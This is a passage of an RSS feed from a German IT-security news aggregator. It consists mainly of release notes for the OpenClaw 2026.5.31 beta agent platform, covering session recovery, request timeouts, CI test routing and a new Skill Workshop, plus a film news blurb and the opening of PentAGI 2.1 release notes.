<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.5.31-beta.1]]></title>
<description><![CDATA[2026.5.31
Highlights

Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (#88129, #88136, #88141, #88162, #88182)
Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, S...]]></description>
<link>https://tsecurity.de/de/3561202/downloads/openclaw-2026531-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3561202/downloads/openclaw-2026531-beta1/</guid>
<pubDate>Sun, 31 May 2026 19:46:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.5.31</h2>
<h3>Highlights</h3>
<ul>
<li>Agents and CLI-backed runtimes recover more cleanly from interrupted tool calls, stale session bindings, compaction handoffs, and media delivery retries. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Channels and mobile delivery are steadier across Telegram, WhatsApp, iMessage, Slack, Discord, Microsoft Teams, Google Chat, Google Meet, and iOS realtime Talk. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Provider and plugin requests now bound more timers, retries, OAuth/device-code lifetimes, media downloads, local service probes, and generated-content polling paths before they can hang a run.</li>
<li>Skills, session metadata, gateway runtime state, plugin metadata, and store writes do less repeated work on hot paths while keeping config and dispatch behavior stable.</li>
<li>Workboard, SecretRef plugin manifests, hosted iOS push relay, and external Copilot/Tokenjuice packaging add broader orchestration, integration, and plugin delivery surfaces. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4544177368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87796" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87796/hovercard" href="https://github.com/openclaw/openclaw/pull/87796">#87796</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550878888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88107/hovercard" href="https://github.com/openclaw/openclaw/pull/88107">#88107</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Release, CI, Docker, E2E, and diagnostics lanes now cap more logs, response bodies, readiness probes, artifact checks, and status polling so failures report bounded proof instead of stalling.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>Docs: add a dedicated Skill Workshop guide covering governed skill creation, reviewable proposals, CLI, Gateway, agent tool behavior, approval policy, support files, and recovery. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let the <code>skill_workshop</code> agent tool apply, reject, and quarantine explicit proposals through the guarded review flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let proposals carry approved support files under standard skill folders, with scanner, hash, and rollback safeguards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: let pending proposals be revised in place with versioned, dated proposal frontmatter before approval. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Skills: add Skill Workshop with pending proposals, CLI/Gateway review actions, rollback metadata, and the <code>skill_workshop</code> agent tool. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins: externalize Tokenjuice as the official <code>@openclaw/tokenjuice</code> plugin with npm and ClawHub publish metadata.</li>
<li>Plugins: externalize the GitHub Copilot agent runtime as the official <code>@openclaw/copilot</code> plugin with npm and ClawHub publish metadata.</li>
<li>iOS: add hosted push relay defaults, realtime Talk playback, and a guarded WebSocket ping path for more reliable mobile sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550652541" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88096" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88096/hovercard" href="https://github.com/openclaw/openclaw/pull/88096">#88096</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4550870064" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88105" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88105/hovercard" href="https://github.com/openclaw/openclaw/pull/88105">#88105</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553214878" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88231" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88231/hovercard" href="https://github.com/openclaw/openclaw/pull/88231">#88231</a>)</li>
<li>Workboard: add orchestration primitives and agent coordination tools for multi-agent planning and run tracking. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4536829250" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/87469" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/87469/hovercard" href="https://github.com/openclaw/openclaw/pull/87469">#87469</a>)</li>
<li>Code mode: add internal namespaces for scoped agent/global sessions and exact namespace tool dispatch. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549263089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88043" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88043/hovercard" href="https://github.com/openclaw/openclaw/pull/88043">#88043</a>)</li>
<li>Control UI: add a Dreaming-tab agent selector and propagate the selected agent through Dreaming status, diary, and diary actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4395906736" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/78748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/78748/hovercard" href="https://github.com/openclaw/openclaw/pull/78748">#78748</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stevenepalmer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stevenepalmer">@stevenepalmer</a>.</li>
<li>Plugins: add a SecretRef provider integration manifest contract and extract shared LLM core packages for provider/plugin reuse. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456977405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82326/hovercard" href="https://github.com/openclaw/openclaw/pull/82326">#82326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551059990" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88117" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88117/hovercard" href="https://github.com/openclaw/openclaw/pull/88117">#88117</a>)</li>
<li>Skills: add the core skills index and centralize skills runtime loading, status, filtering, and prompt formatting.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/media: keep async image, music, and video generation starts from ending the Codex turn, so mixed requests can continue with summaries or other work while media renders in the background.</li>
<li>Agents/Codex: keep public OpenAI API-key profiles from being treated as native Codex app-server auth while preserving persisted Codex OAuth sessions.</li>
<li>Control UI: keep collapsed tool cards labeled with the tool name and action instead of generic output text. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Agents/Codex: surface Skill Workshop guidance in Codex app-server prompts when <code>skill_workshop</code> is available. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI: keep <code>plugins list --json</code> on the snapshot-only path so plugin sweeps avoid loading the full runtime status graph.</li>
<li>Plugins: make PixVerse external-plugin ClawHub metadata explicit and keep it out of bundled dist builds.</li>
<li>Cron: keep SQLite cron migrations compatible with legacy run-log tables, archived job stores, diagnostic cron names, and legacy one-shot delete-after-run behavior. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4554018071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88285/hovercard" href="https://github.com/openclaw/openclaw/pull/88285">#88285</a>)</li>
<li>Providers: bound generated media downloads from OpenAI, Runway, xAI, MiniMax, BytePlus, DashScope-compatible, FAL, OpenRouter, Google, Vydra, and Comfy providers.</li>
<li>Providers: cap GitHub Copilot OAuth request timeouts before creating abort signals.</li>
<li>Cron: retry recurring jobs after transient model rate limits before waiting for the next scheduled slot.</li>
<li>Agents/Codex: keep live session locks during cleanup, recover interrupted CLI tool transcripts, preserve Codex auth and compaction session identity, clear orphan tool state, cap app-server idle timers, and keep media completion delivery retryable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551374072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88129" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88129/hovercard" href="https://github.com/openclaw/openclaw/pull/88129">#88129</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551617563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88136" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88136/hovercard" href="https://github.com/openclaw/openclaw/pull/88136">#88136</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551806062" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88141" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88141/hovercard" href="https://github.com/openclaw/openclaw/pull/88141">#88141</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552232095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88162" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88162/hovercard" href="https://github.com/openclaw/openclaw/pull/88162">#88162</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552583855" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88182" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88182/hovercard" href="https://github.com/openclaw/openclaw/pull/88182">#88182</a>)</li>
<li>Chat/UI: show Gateway chat failures as visible assistant messages in the Control UI instead of only setting an invisible error state.</li>
<li>Channels: cap Telegram, Discord, WhatsApp, Signal, Feishu, Google Chat, Microsoft Teams, QQBot, Nostr, Zalo, Zalouser, and Nextcloud-style request/retry timers; preserve SMS approval reply routes; and retry WhatsApp QR login 408 timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552604231" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88183" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88183/hovercard" href="https://github.com/openclaw/openclaw/pull/88183">#88183</a>)</li>
<li>Security/config parsing: reject unsafe OAuth/token lifetimes, retry-after delays, inbound timestamps, response body sizes, command timeout config, sandbox observer token TTLs, and gateway WebSocket calls after close.</li>
<li>Providers/media: cap local service, model, usage, queue, generated media, TTS, music, workflow polling, and provider OAuth request timers across hosted and local providers.</li>
<li>Release/CI/E2E: bound release candidate reads, beta smoke REST calls, changelog restore, kitchen-sink and bundled plugin readiness probes, secret-provider probes, Vitest routing, and mainline test flakes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551354671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88127" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88127/hovercard" href="https://github.com/openclaw/openclaw/pull/88127">#88127</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4551653681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88137/hovercard" href="https://github.com/openclaw/openclaw/pull/88137">#88137</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552032597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88155" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88155/hovercard" href="https://github.com/openclaw/openclaw/pull/88155">#88155</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4552192113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88160/hovercard" href="https://github.com/openclaw/openclaw/pull/88160">#88160</a>)</li>
<li>Release/CI/E2E: run the secret-provider integration proof through the repo pnpm runner so native macOS and Windows validation use the hydrated package-manager shim.</li>
<li>Release/CI/E2E: run the Telegram desktop proof gateway through the repo pnpm runner so native macOS proof uses the hydrated package-manager shim.</li>
<li>Docs/CI: run Mintlify anchor checks through the repo pnpm runner so docs link validation works when pnpm is only available through the hydrated package-manager shim.</li>
<li>Agents: keep configured fallback model metadata typed so provider params, context-token caps, and media input limits do not break changed-gate typechecks.</li>
<li>Agents: accept hidden <code>sessions_send</code> body aliases before validation while keeping the model-facing <code>message</code> schema canonical. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4553200827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88229" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88229/hovercard" href="https://github.com/openclaw/openclaw/pull/88229">#88229</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>CI/Crabbox: keep default runner capacity spot-only and provider-neutral so OpenClaw remote validation does not silently fall back to on-demand leases or stale AWS region hints.</li>
<li>CI/Crabbox: route Crabbox wrapper and Testbox workflow edits to their regression tests so changed-test gates do not silently run zero specs.</li>
<li>CI/workflows: route workflow sanity helper edits to their guard tests and cover composite-action input interpolation checks.</li>
<li>CI/tooling: route CI scope, dependency, changelog, and docs helper edits to their owner tests instead of silently skipping changed-test coverage.</li>
<li>CI/tooling: route package, release, and install helper edits to their owner tests so changed-test gates cover publish and installer script changes.</li>
<li>CI/tooling: route shared script library edits through their owner tests so lock, process, safety, and scan helpers do not skip changed-test coverage.</li>
<li>CI/tooling: skip expensive import-graph scans once a changed diff already requires broad fallback, keeping local changed-test planning fast while still collecting explicit owner tests.</li>
<li>CI/tooling: route script edits through conventional owner tests when matching <code>test/scripts</code> or <code>src/scripts</code> coverage already exists.</li>
<li>CI/tooling: honor option terminators in the memory FD repro script so follow-on arguments are not reparsed.</li>
<li>Release/CI/E2E: assert plugin lifecycle runtime inspect output instead of only capturing it.</li>
<li>Release/CI/E2E: make gateway-network prove the advertised health RPC and retry early WebSocket closes without burning full open timeouts.</li>
<li>Release/CI/E2E: honor option terminators across release, Parallels smoke, plugin gauntlet, and extension-memory scripts.</li>
<li>Release/CI/E2E: fail plugin gateway gauntlet QA chunks when the requested suite summary is missing or invalid.</li>
<li>Performance: prebuild QA runtime probes with generated plugin assets but without CLI startup metadata.</li>
<li>Performance: skip declaration bundling for runtime-only CLI startup and gateway watch build profiles.</li>
<li>Performance: reuse prepared provider handles, strict tool schemas, gateway runtime metadata, session maintenance config, plugin metadata, bundled skill allowlists, package-local plugin artifacts, single-entry store writes, and validated/serialized session prompt blobs.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘Backrooms’ Takes You Deeper Inside the Internet’s Most Uncanny Horror Myth]]></title>
<description><![CDATA[Kane Parsons was just 16 years old when he created a viral YouTube horror series based on a 4chan meme. Now he’s ready to conquer the big screen.]]></description>
<link>https://tsecurity.de/de/3558920/it-nachrichten/backrooms-takes-you-deeper-inside-the-internets-most-uncanny-horror-myth/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3558920/it-nachrichten/backrooms-takes-you-deeper-inside-the-internets-most-uncanny-horror-myth/</guid>
<pubDate>Sat, 30 May 2026 13:17:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Kane Parsons was just 16 years old when he created a viral YouTube horror series based on a 4chan meme. Now he’s ready to conquer the big screen.]]></content:encoded>
</item>
<item>
<title><![CDATA[2.1.0]]></title>
<description><![CDATA[PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control
This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-ti...]]></description>
<link>https://tsecurity.de/de/3557523/it-security-tools/210/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3557523/it-security-tools/210/</guid>
<pubDate>Sat, 30 May 2026 01:04:48 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<hr>
<div align="center">
<p><strong>PentAGI 2.1 — File Management, Knowledge Base, ToolCall Observability, and Assistant Flow Control</strong></p>
<p>This release adds a complete file management layer (user resource libraries and flow workspace files with container sync), a first-class Knowledge Base with semantic search and anonymization, real-time ToolCall logging, and assistant tools to monitor and steer running flows. It also refreshes model configurations across OpenAI, Anthropic, Gemini, DeepSeek, Qwen, Kimi, and GLM, a broad frontend modernization pass (React 19, Apollo Client v4, Vite 8), and a wide range of stability and security fixes.</p>
